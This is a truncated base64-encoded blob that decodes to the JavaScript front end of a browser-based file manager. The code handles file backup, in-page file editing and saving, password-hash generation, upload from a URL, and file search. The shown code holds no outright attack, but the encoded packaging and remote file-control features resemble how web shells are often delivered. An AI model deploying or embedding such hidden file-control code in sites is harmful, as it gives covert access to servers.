AgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1